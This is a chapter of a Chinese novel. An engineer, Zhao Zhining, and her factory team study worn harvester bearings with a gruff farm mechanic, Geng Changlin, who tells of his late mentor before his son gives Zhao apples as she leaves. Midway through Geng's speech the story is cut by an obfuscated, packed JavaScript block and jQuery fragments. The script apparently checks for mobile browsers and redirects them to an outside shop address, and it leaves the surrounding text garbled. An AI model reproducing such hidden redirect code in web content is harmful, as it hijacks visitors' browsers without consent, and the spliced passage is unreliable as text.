“爹！你看，是姐姐帮我修好的！”虎子高兴极了，献宝似的指着油印机。


    耿长林沉默片刻，简单地跟儿子点了点头，目光转向赵之凝，声音依旧硬邦邦，却少了几分拒人千里的冰碴子：“外面那几台收割机，还看不看？”


    赵之凝心中一喜，迅速合上笔记本站起身：“看！麻烦耿队长了！”


    耿长林没再说话，转身就走。


    赵之凝对耿嫂子和炕上的老人点点头，快步跟了出去。


    院子里，孟工等人正围着那台旧的国产收割机研究，见耿长林领着赵之凝过来，脸上都露出些意外。


    王科长立刻反应过来，指着底盘下的一处，“耿队长，来来来，刚才我们看传动轴这里磨损得厉害，是不是轴承的受力有问题？”


    耿长林径直走到收割机侧面，弯腰钻进底盘下方。众人连忙围过去，只见他熟练地卸下几颗沾满油泥的螺丝，扒开缠绕的秸秆碎屑，露出里面复杂的结构。


    轴承是收割机的核心部件之一，尤其是长期在户外极端环境中作业后，极容易造成损耗，这正是此次项目要重点攻克的难点。


    耿长林指着一处磨损得发亮的豁口：“瞧这儿，脱粒滚筒动力接过来的地方，劲太大，这轴承顶不住。厂里给的备件，换上撑不过三天！”


    他又拽了拽连接滚筒的巨大链条，链条松弛地晃荡着，“地头一个急弯，或者碰上湿泥巴缠滚筒，负荷一上来，十回有八回得掉链子。掉一次，没小半天掏不出来，眼瞅着地里的粮食干着急！”


    “耿队长，”赵之凝蹲在他旁边，凑近观察那磨损的齿轮豁口，“您说劲太大，除了机器本身设计，跟咱们这里地广人稀，必须开足马力抢农时，有没有关系？还有今年秋收时雨水多，泥泞打滑，机器负荷是不是会成倍增加？”


    耿长林愣了一下，抬眼看向赵之凝，她问到了根子上。


    他想了想：“应该有关系，一场雨下来，地里就是烂泥塘。地太软，陷得深，机器跟人一样，走都费劲，更别说干活了。油门小了，走不动。油门大了，机器里面就较上劲，零件就遭罪。”


    接下来的几天，机耕队大院的气氛悄悄发生了变化。


    耿长林一改之前不配合的态度，带着春风厂一行人，顶着刺骨的寒风，钻遍了队里每一台收割机的底盘。连带着他那些沉默寡言的徒弟们，也渐渐打开了话匣子。


    “孟工，您看这轴承，”一个年轻农机手指着进口收割机底盘下一个位置，“密封圈不行，泥水砂子进去，用不了几天就响得跟打雷似的，但是换一个的价钱能买我们国产大半台机器！”


    他啐了一口，“咱自己造的密封圈塞进去，尺寸不对，硬塞上，转不了半天又废了！”


    “还有这液压管！”另一个农机手抱怨道，“冬天一冻，邦邦硬，接头处特别容易崩裂漏油！国产的管子倒是耐冻，可压力参数跟不上，换上顶不了大用！”


    赵之凝的笔记本飞速记录着，积累了满满的一页又一页。


    这天夜晚，机耕队那间兼作修理间的仓库里炉火烧得正旺。


    春风厂一行与耿长林师徒们围坐在一张破旧的长条木桌旁，桌上铺满了图纸、零件草图、磨损的样本。


    “耿队长，”孟工指着赵之凝根据大家意见汇总草绘的一张改进图纸，“你看这个想法，怎么样？”


    耿长林的眉头紧锁，他在图纸上的符号上点了点：“调心滚子轴承？这想法是好，但材料也要跟得上，不然咱这冰天雪地，荒郊野岭的，到时维护起来成本太高了。”


    “耿队长说得对，可靠性是第一位的。”孟工接过话来，“我们这个思路主要是想提高轴承的承载能力和适应错位的能力，至于你担心的材料和工艺……”他思考了一下，“回头我们会找其他单位一起想办法攻关。”


    这场讨论中，每个人都畅所欲言，只为了一个共同的目标而努力。


    中间休息时，赵之凝给耿长林递了杯热水，好奇地问道：“耿队长，您这身手艺，到底是怎么练出来的？”


    耿长林捧着热水杯，氤氲的热气模糊了他棱角分明的脸。


    沉默良久，他才缓缓开口，声音像是从很远的地方传来：


    “我爹，就是第一代垦荒的。那会儿没有农具，就捡来废铜烂铁，自制农具。后来，场里好不容易有了两台老掉牙的拖拉机，金贵得跟眼珠子似的。


    “我十六岁就跟着我师傅，一个部队汽车兵转业的老兵，学修那些农机。”他眼神望向外面白茫茫的雪野，仿佛看到了几十年前。”


    “我师傅姓马，是打过仗的，从朝鲜开回来的车，浑身是弹片打的补丁。他脾气爆，手艺绝，常常跟我们说，机器趴窝，就是战士丢了枪。地里的庄稼，就是咱的阵地，阵地丢了，吃啥？”


    “那会儿是真苦啊，有时零下三四十度，趴在雪地里修车，手冻得粘在铁上，撕下来一层皮。可看着师傅带头，谁也不敢叫苦。”


    他灌了一大口热水，喉结滚动。“可是后来，在一次赶去抢修的途中，师傅的车在大雪中出了事。等我们找到他的时候，已经不行了……临走前，他就抓着我的手说：‘长林，看好这些铁疙瘩，让它们多收粮食啊……’”


    耿长林的声音哽住了，他深吸一口气，忍住了泪水，只是眼圈已经红了。


    “后来我进了机耕队，开上了第一台苏式康拜因，那些老家伙，毛病是多，可你摸透了它的脾气，伺候好了，它真给你卖命！去年开过了进口的洋机器后，我更是常常想啊，啥时候咱们自己也能造出这么好的机器来？”


    “所以，我烦透了那些光动嘴皮子不干实事的，也怕……怕再来一拨人，装模作样研究半天，拍拍屁股走了，啥也变不了。”


    耿长林低声说：“我就盼着有一天，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916203|192171||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    咱们自己的机器，也能跟那洋机器似的，又利索，又皮实！让虎子他们这一代，开上不比外国差的大家伙，腰杆挺得直直的！以后不用再看人脸色，不用再等那漂洋过海的天价配件！”


    棚子里一片寂静，只有炉火的噼啪声。


    赵之凝看着耿长林眼中那几乎要喷薄而出的渴望，那不仅仅是对一台好机器的渴望，更是一个人对尊严、对掌控自己命运的渴望。


    调研的最后一天，天空难得放晴。


    吉普车停在机耕队大院里，发动机预热着，喷出团团白气。孟工、王科长等人正和杨站长、农机站的技术员们握手道别。


    耿长林带着虎子站在人群稍后。他依旧穿着那身沾满油污的军大衣，但脸上紧绷的线条似乎柔和了一些。


    虎子则紧紧抱着一个印着红五星的旧挎包，小脸冻得红扑扑的，眼睛亮晶晶地望着赵之凝。


    “赵工，”耿长林走上前，伸出那只布满老茧和裂口的大手，“这几天辛苦了。”


    赵之凝用力回握：“耿队长，该说谢谢的是我们。您和机耕队的经验，太宝贵了！您放心，我们记住了！”她的目光扫过那几台收割机，“咱们自己的好机器，会有的。”


    耿长林重重地点了下头，嘴角似乎向上扯动了一下，那大概算是一个极其难得的笑容。他侧过身，轻轻推了推虎子。


    虎子立刻上前，不由分说地把挎包塞进赵之凝怀里：“姐姐，这是我们送给你的！”


    赵之凝一愣，打开挎包。里面是两个拳头大小、表皮红黄相间、带着天然果霜的苹果！


    在冰封的北青，在物资匮乏的初冬，这两个保存完好的苹果，是多么珍贵啊！


    “虎子，这……”赵之凝心头一热，鼻尖发酸。


    “姐姐，这是秋天农场发的，可甜了！我和娘专门给你留的！”虎子仰着小脸，满是真诚，“这几天谢谢你帮我修油印机，还愿意陪我娘和奶奶聊天。”


    他顿了顿，小声又充满期盼地加了一句，“姐姐，你们真的能造出又厉害又不怕坏的收割机吗？就像你说的那样？”


    孟工不知何时走了过来，看见挎包里的苹果，轻轻拍了拍赵之凝的肩膀，声音低沉而郑重：“收下吧，小赵。”


    赵之凝不再推托，小心翼翼地合拢布包，将苹果紧紧抱在怀中。


    她伸出手，用力揉了揉虎子戴着旧棉帽的小脑袋，声音有些哽咽：“谢谢虎子！姐姐说话算话，我们一定会造出最好的机器！”


    车子发动了，缓缓驶离大院。赵之凝坐在后座，透过车窗，回望着变得越来越小的耿长林一家和那些静静伫立的收割机。


    耿长林依旧站得笔直，像一株扎根在黑土地里的大树，旁边是小树一般的虎子。


    冰凉的苹果贴着她的心口，却仿佛有温度传递过来。


    这片土地上的人们，值得拥有最好的机器。